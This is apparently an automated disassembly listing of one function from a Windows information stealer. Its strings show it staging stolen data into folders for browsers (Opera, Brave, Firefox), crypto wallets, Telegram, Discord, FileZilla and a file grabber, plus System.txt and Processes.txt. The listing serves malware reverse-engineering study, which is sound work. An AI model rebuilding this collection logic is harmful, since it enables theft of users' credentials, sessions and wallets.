Function at 0x140011094
Capabilities:
Create directory
Set current directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x4b8]
sub rsp, 0x5b0
mov rax, qword [0x14004a490]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
call fcn.140013e3c
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x14003f168]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.140003544
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.140004ecc
lea r8, [0x14003f188]
lea rcx, [rbp - 0x48]
mov rdx, rax
call fcn.14000a370
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp - 0x48]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x14003f0e8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp - 0x70]
mov rdx, rsi
call fcn.140004ecc
lea r8, [0x14003f278]
lea rcx, [rsp + 0x68]
mov rdx, rax
call fcn.14000a370
lea r8, str.Browsers
lea rcx, [rbp + 8]
mov rdx, rax
call fcn.14000a370
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp - 0x70]
call fcn.140004f24
lea rcx, [rbp + 8]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [0x14003f298]
call fcn.1400149e0
lea rcx, [0x14003f428]
call fcn.1400149e0
lea rcx, [0x14003f508]
call fcn.1400149e0
lea rdx, [0x14003f758]
lea rcx, [rsp + 0x68]
call fcn.140004ecc
lea rdx, [0x14004de08]
lea rcx, [rbp - 0x70]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004de58]
lea rcx, [rsp + 0x40]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003694
lea rdx, [0x14003f860]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dd68]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dca0]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003694
lea rdx, [0x14003f878]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dc78]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dd18]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003694
lea rdx, [0x14003f888]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004ddb8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004de58]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.14000411c
lea rdx, [0x14003f898]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dcc8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dca0]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.14000411c
lea rdx, [0x14003f8a8]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004de80]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dd18]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.14000411c
lea rdx, [0x14003f8b8]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004ddb8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004de58]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140004534
lea rdx, [0x14003f8c8]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dcc8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
mov rbx, rax
lea rdx, [0x14004dca0]
lea rcx, [rbp - 0x70]
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140004534
lea rdx, [0x14003f8d8]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004de80]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dd18]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140004534
lea rdx, [0x14003f8e8]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004def8]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dc50]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400039cc
lea rdx, str.Opera
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dde0]
lea rcx, [rsp + 0x68]
mov rdi, rax
call fcn.1400105d4
lea rdx, [0x14004dc50]
lea rcx, [rbp - 0x70]
mov rbx, rax
call fcn.1400105d4
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140003ce0
lea rdx, [0x14003f908]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dcf0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.140004838
lea rdx, [0x14003f918]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dd40]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.140004838
lea rdx, [0x14003f928]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dd90]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.140004838
lea rdx, [0x14003f938]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004ded0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.1400049d4
lea rdx, [0x14003f948]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004de30]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.1400049d4
lea rdx, [0x14003f958]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dea8]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.1400049d4
lea rdx, [0x14003f968]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dcf0]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.140004b64
lea rdx, [0x14003f978]
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dd40]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.140004b64
lea rdx, str.Brave
lea rcx, [rsp + 0x40]
call fcn.140004ecc
lea rdx, [0x14004dd90]
lea rcx, [rsp + 0x68]
mov rbx, rax
call fcn.1400105d4
mov rdx, rbx
mov rcx, rax
call fcn.140004b64
lea rcx, str.SOFTWAREClassesApplications_firefox.exe
call fcn.14001544c
test al, al
je 0x1400116b3
lea rcx, [0x14003f768]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Firefox
lea rdx, [rbp + 8]
lea rcx, [rbp - 0x70]
call fcn.140009230
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x40]
call fcn.1400105d4
mov rcx, rax
call fcn.14000a5a0
lea rcx, [rbp - 0x70]
call fcn.140004f24
lea rcx, [rbp - 0x48]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, str.Wallets
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140011727
call qword [sym.imp.KERNEL32.dll_GetLastError]
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x90]
mov dword [rsp + 0x28], 0x100
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov ecx, 0x1000
mov r8d, eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea r8, str.Error
lea rdx, [rbp + 0x90]
mov r9d, 0x10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.140004ecc
lea r8, str.CasperSecurityWallets
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.14000a370
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp - 0x20]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400105d4
mov rcx, rax
call fcn.140009fb4
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400105d4
mov rcx, rax
call fcn.14000a190
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400105d4
mov rcx, rax
call fcn.14000a288
lea rcx, [rbp - 0x48]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, str.SOFTWAREMicrosoftWindowsCurrentVersionUninstall53F49750_6209_4FBF_9CA8_7A333C87D1ED_is1
call fcn.14001544c
test al, al
je 0x14001184e
lea rcx, [0x14003fa48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, [0x14003fb20]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.140009230
lea rcx, [rbp - 0x70]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x14003fb38]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140009230
lea rcx, str.Telegram
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.1400105d4
mov rcx, rax
call fcn.14000ef0c
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp - 0x70]
call fcn.140004f24
lea rcx, str.SOFTWAREClassesDiscord
call fcn.14001544c
test al, al
je 0x1400118e5
lea rcx, [0x14003fba0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Messengers
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x70]
call fcn.140009230
lea rcx, [rbp - 0x70]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x14003fbd0]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x68]
call fcn.140009230
lea rcx, str.Discord
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
call fcn.1400105d4
mov rcx, rax
call fcn.14000f078
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp - 0x70]
call fcn.140004f24
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.140004ecc
lea r8, [0x14003fbf8]
lea rcx, [rbp + 0x30]
mov rdx, rax
call fcn.14000a370
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp + 0x30]
call fcn.1400153e4
test al, al
je 0x14001195c
lea r8, str.FileZilla
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.140009230
lea rcx, [rsp + 0x68]
call fcn.140004f30
lea rcx, [rbp + 0x30]
mov rbx, rax
call fcn.140004f30
mov rdx, rbx
mov rcx, rax
call fcn.140014330
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp - 0x48]
call fcn.140004f30
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, str.System.txt
lea rcx, [rsp + 0x68]
call fcn.140004da4
lea rcx, [rsp + 0x68]
call fcn.140010bf4
lea rcx, [rsp + 0x68]
call fcn.140004e14
lea rdx, str.Processes.txt
lea rcx, [rsp + 0x68]
call fcn.140004da4
lea rcx, [rsp + 0x68]
call fcn.140014c30
lea rcx, [rsp + 0x68]
call fcn.140004e14
lea rcx, [rbp - 0x48]
call fcn.140004f30
lea rcx, [rsp + 0x40]
mov rdx, rax
call fcn.140004ecc
mov rcx, rax
call fcn.14001054c
call fcn.1400107a0
call fcn.140014cac
lea rcx, [0x14003fc48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x68]
call fcn.1400105d4
lea r8, str.Grabber
lea rcx, [rbp + 0x58]
mov rdx, rax
call fcn.14000a370
lea rcx, [rsp + 0x68]
call fcn.140004f24
lea rcx, [rbp + 0x290]
call fcn.140014920
lea rcx, [rbp + 0x80]
call fcn.140014968
lea rcx, [rbp + 0x58]
call fcn.140004f30
lea rcx, [rbp + 0x290]
mov rdx, rax
call fcn.1400140e4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rbp + 0x58]
call fcn.140004f24
lea rcx, [rbp + 0x30]
call fcn.140004f24
lea rcx, [rbp - 0x20]
call fcn.140004f24
lea rcx, [rbp + 8]
call fcn.140004f24
lea rcx, [rbp - 0x48]
call fcn.140004f24
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.14001cb70
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret